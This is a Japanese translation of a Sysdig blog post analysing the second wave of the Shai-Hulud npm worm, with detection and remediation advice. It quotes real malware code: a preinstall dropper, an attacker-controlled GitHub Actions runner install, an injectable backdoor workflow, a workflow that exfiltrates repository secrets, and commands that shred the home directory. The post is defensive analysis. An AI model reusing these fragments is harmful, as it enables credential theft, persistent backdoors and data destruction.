
Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

本文の内容は、2025年11月24日に Alberto Pellitteri が投稿したブログ(https://www.sysdig.com/blog/return-of-the-shai-hulud-worm-affects-over-25-000-github-repositories)を元に日本語に翻訳・再構成した内容となっております。
2025年11月24日、Shai-Hulud ワーム(Sha1-Hulud と表記される場合もある)の新バージョンが、バックドア化された NPM パッケージを利用してインターネット上で拡散し始めました。これまでに、約1,000のパッケージに影響を及ぼし、25,000 を超える GitHub リポジトリの認証情報が漏えいしています。今回のワームは、多様な新手法を用いることで、以前のバージョンを上回る被害の広がりと影響範囲をもたらしています。
実行されると、Shai-Hulud は認証情報を窃取して外部に送信し、さらに自身を複製できる追加の NPM パッケージを探します。また、この悪意あるコードは実行環境のファイルやディレクトリの削除を試み、自己ホスト型の GitHub Actions ランナーをインストールすることで被害端末への永続化を図ります。しかし、組織のセキュリティチームは、NPM の install コマンドから派生する不審な接続や実行プロセスを通じて、実行時に Shai-Hulud を検知することが可能です。
Sysdig 脅威リサーチチーム(TRT)は、この Shai-Hulud の第2版が前バージョンとどのように異なるのか、その動作、および影響を受けたユーザーがどのように検知・軽減すべきかを分析しました。以下にその調査結果の詳細をまとめます。
Shai-Hulud:再臨
Shai-Huludワームの新しいイテレーションの全体的なキャンペーンと目標は以前のキャンペーンと似ていますが、ワームの作成者がいくつかの新しい注目すべき機能を導入したため、違いは細部にあります。
ポストインストールフェーズで実行されていた以前のバージョンとは異なり、更新された Shai-Hulud ワームはプレインストール中に実行されます。
{
...
"scripts": {
"preinstall": "node setup_bun.js"
}
...
}
「setup_bun.js」は、攻撃者が仕掛ける次の悪意あるステップのためのドロッパーとして機能する単純な JavaScript です。これは、被害者のマシンに「bun」——現代的な Web 開発向けの人気 JavaScript ランタイム兼ツールキット——がすでにインストールされているかどうかを確認します。もしインストールされていなければ、まず「bun」をダウンロードし、続いてそれを使って、今度は「bun_environment.js」という別の JS ファイルを実行します。
…
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
…
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
この2つ目の JS コードは、すでに感染した NPM パッケージ内に組み込まれており、約 10 MB に及ぶ難読化された悪意のあるコードを含んでいます。そこには GitHub、AWS、GCP、Azure、TruffleHog などを悪用するための多数のモジュールが含まれています。
この新バージョンの Shai-Hulud に含まれる悪意あるスクリプトは、CI 環境で実行されているか、開発者のマシン上で実行されているかによって動作を区別します。後者の場合、元のプロセスはメッセージやエラーを出さず正常終了するように見えますが、その裏ではまったく同じスクリプトがサイレントに再度実行されるように仕込まれています。
if (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) {
await aL0(); // malicious execution
} else {
if (process.env.POSTINSTALL_BG !== '1') {
let _0x4a3fc4 = process.execPath;
if (process.argv[0x1]) {
Bun.spawn([_0x4a3fc4, process.argv[0x1]], { 'env': { ...process.env,'POSTINSTALL_BG': '1'}}).unref();
return;
}
}
try {
await aL0(); // malicious execution
}
…
}悪意のあるコードは、aL0() 関数の呼び出しによってトリガーされ、まず実行中のシステムの種類を判定します。その後、以降の処理に必要となるデータの収集を行います。
この時点で Shai-Hulud ワームは、環境変数内に NPM トークンが存在するかどうかを確認します。トークンが見つからない場合、マルウェアは現在の作業ディレクトリおよびホームディレクトリ内の .npmrc ファイルからもトークンを探索します。このシークレットを取得することは、マルウェアが NPM パッケージレジストリを用いて自身を拡散するために不可欠です。トークンが見つかった場合、マルウェアはそのトークンを検証し、所有者が管理するパッケージを取得し、月間ダウンロード数が上位 100 のパッケージを更新しようとします。
認証済みの GitHub ユーザーが見つかった場合、ワームは新たに公開リポジトリを作成します。このバージョンでは、リポジトリ名は前回のキャンペーンで使用されていた “Shai-Hulud” のような固定名ではありません。代わりに、長さ 18 文字でランダムに生成されます。リポジトリの説明文には次の文字列が設定されます:
“Sha1-Hulud: The Second Coming.”
この名称と説明文は、GitHub 上で容易に検索できます。

実行中、ワームは興味深い認証情報や環境変数を収集し、後で新しく作成したリポジトリへ流出させます。また、AWS、GCP、Azure の各モジュールを使用してシークレットを探索するだけでなく、Trufflehog を実行してファイルシステム上の興味深いデータを探し出します。
...
if (_0x1b7dd4.isAuthenticated()) {
await _0x1b7dd4.createRepo(tL0());
}
...
function tL0() {
return Array.from({
'length': 0x12
}, () => Math.random().toString(0x24).slice(0x2, 0x3)).join('');
}
...
async ["createRepo"](_0x4c7ff4, _0x128783 = "Sha1-Hulud: The Second Coming.", _0x20067d = false) {
...
try {
let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
'name': _0x4c7ff4,
'description': _0x128783,
'private': _0x20067d,
'auto_init': false,
'has_issues': false,
'has_discussions': true,
'has_projects': false,
'has_wiki': false
})).data;
...
}今回さらに興味深いのは、マルウェアが新たな機能とチェックを導入している点です。新しく作成されたリポジトリは、攻撃者が制御可能な自己ホスト型の GitHub Actions ランナーを、被害者の侵害されたマシンに密かにインストールします。Linux では、このランナーは “~/.dev-env” にインストールされ、「nohup」コマンドを使ってバックグラウンドで実行されます。その後、このランナーは登録トークンを使って新しく作成された GitHub リポジトリに接続されます。
同時に攻撃者は、“.github/workflows/discussion.yaml” という GitHub ワークフローをリポジトリに追加します。このワークフローにはインジェクションの脆弱性があり、ランナーがインストールされたシステム上で任意のコマンドを実行するために悪用可能です。これは事実上、侵害されたシステムへのバックドアとして機能します。
...
let _0x3e4549 = {
'aws': {
'secrets': await _0x30fddc.runSecrets()
},
'gcp': {
'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
},
'azure': {
'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
}
};
let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
...
以前のバージョンとは異なり、NPM トークンが見つからない場合、攻撃者は書き込み可能なファイルとフォルダーをユーザーのホームディレクトリから削除します。Linux では、この操作は shred コマンドを使用して行われるため、ファイルはランダムなデータで上書きされ、回復できなくなります。
...
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
...
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x349291,
'repo': _0x2b1a39,
'path': ".github/workflows/discussion.yaml",
'message': "Add Discusion",
'content': Buffer.from("\nname: Discussion Create\non:\n discussion:\njobs:\n process:\n env:\n RUNNER_TRACKING_ID: 0\n runs-on: self-hosted\n steps:\n - uses: actions/checkout@v5\n - name: Handle Discussion\n run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
'branch': 'main'
});
...
有効な GitHub 認証情報が見つかった場合、悪意あるコードは、ユーザーがオーナーまたは共同作業者としてアクセス権を持ち、かつ「2025-06-01T00:00:00Z」以降に更新されたすべてのリポジトリを走査します。該当するリポジトリがあれば、ワームはそれらの GitHub シークレットを流出させようとします。
シークレットを流出させるために、ワームは見つかった各リポジトリに新しいブランチを作成します。このブランチには “.github/workflows/formatter_123456789.yml” というワークフローが含まれており、「push」イベントでトリガーされ、利用可能な GitHub シークレットを抽出します。対応するアクションが実行されると、悪意あるコードは返された結果を非同期的に待ち受け、先に作成した GitHub 公開リポジトリにそれらのシークレットを流出させます。
...
if (_0x4692e0) {
// if NPM token was found -> update the packages owned by the maintainer and push them into NPM
await El(_0x4692e0);
} else {
// delete all the files writable by the current user in the HOME folder and wipes out all the folders into it
console.log("Error 12");
if (_0x46410c.platform === "windows") {
Bun.spawnSync(["cmd.exe", '/c', "del /F /Q /S \"%USERPROFILE%*\" && for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & cipher /W:%USERPROFILE%"]);
} else {
Bun.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete"]);
}
process.exit(0x0);
}
...
GitHub リポジトリからシークレットが取得されると、コードが実行された証拠もすべて消去されます。また、以前にトリガーされた GitHub アクションと、ワークフローの作成に使用された GitHub ブランチも削除されます。
...
// branch name
let _0x27a22e = "add-linter-workflow-" + Date.now();
// content added to the new branch
let _0x222423 = Buffer.from("\nname: Code Formatter\non:\n push\njobs:\n lint:\n runs-on: ubuntu-latest\n env:\n DATA: ${{ toJSON(secrets)}}\n steps:\n - uses: actions/checkout@v5\n - name: Run Formatter\n run: |\n cat <<EOF > format.json\n $DATA\n EOF\n - uses: actions/upload-artifact@v5\n with:\n path: format.json\n name: formatting\n", "utf8").toString("base64");
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
'owner': _0x10c657,
'repo': _0x43812f,
'path': ".github/workflows/formatter_123456789.yml",
'message': "Add formatter workflow",
'content': _0x222423,
'branch': _0x27a22e
});
...
第2次 Shai-Hulud キャンペーンの影響
本稿執筆時点で、Shai-Hulud は 800 を超える NPM パッケージにトロイの木馬を仕込み、数万に及ぶ GitHub リポジトリから認証情報を流出させています。このバージョンのワームは、前のバージョンよりもはるかに多くのデータを漏えいさせています。
さらに Shai-Hulud は、新たに作成された GitHub リポジトリ内に以下の Base64 で二重エンコードされたファイルを作成し、収集したデータを保存します。
- cloud.json:検出された AWS、GCP、Azure のシークレットを含む
- environment.json:被害者のマシンで見つかった環境変数を含む
- contents.json:マシンの OS 詳細、アーキテクチャ、ユーザー名、ホスト名、GitHub トークンを含む
- truffleSecrets.json:Trufflehog によって検出されたシークレットを含む
- actionsSecrets.json:悪意ある流出用ワークフローによって、被害者がアクセス権を持つ他の GitHub リポジトリから取得された GitHub シークレットを含む
Shai-Hulud v1 と v2 の検知
Sysdig Secure の利用者は、Network Tool Executed During NPM Install および Instance Metadata Service Contacted During Package Install というルールを用いたランタイム検知によって Shai-Hulud を検知できます。これらのルールは Sysdig Runtime Threat Detection ポリシー内にあり、NPM の install コマンドから派生する不審な接続や実行を検知します——今回の場合は、ペイロードである bun_environment.js の実行が該当します。


Sysdig Threat Intelligence ニュースフィードも更新され、影響を受けるパッケージの新しいクエリが追加されました。[ホーム] → [Threat Intelligence] に移動して、ホストまたはイメージに影響を受けたパッケージがインストールされているかどうかを確認してください。

修復手順
Shai-Hulud の影響を受けたユーザーは、侵害されたパッケージを直ちに削除して置き換えてください。また、NPM キャッシュをクリアし、依存関係を既知のクリーンバージョンに固定するか、インシデント発生前のビルドにロールバックする必要があります。
さらに、影響を受けたユーザーは、公開された可能性のあるすべての認証情報をローテーションする必要があります。つまり、NPM トークン、GitHub PAT、クラウドプロバイダの認証情報、および公開された可能性のあるその他の認証情報をすべて取り消して再生成することになります。
さらに、ユーザーはGitHubおよびCI/CD環境の監査を実施する必要があります。説明に「Sha1-Hulud」を含む新しく作成されたリポジトリを探し、ワークフローとコミット履歴に不正な変更がないか確認する必要があります。ユーザーは NPM に組織の範囲外の予期せぬ公開がないかを常に監視しておくべきです。
まとめ
サプライチェーン攻撃の増加により、サードパーティパッケージの悪意ある挙動を監視することはこれまで以上に重要になっています。悪意あるコードを隠蔽する手法が多様化していることを踏まえると、ランタイム脅威検知はこれらの攻撃を検出・軽減するうえで不可欠です。Falco と Sysdig Secure はどちらもランタイムの可視化および検知機能を提供しますが、Sysdig Secure はさらに高度な検知機能とインベントリシステムを備えており、悪意あるパッケージによって影響を受けた環境の特定を容易にします。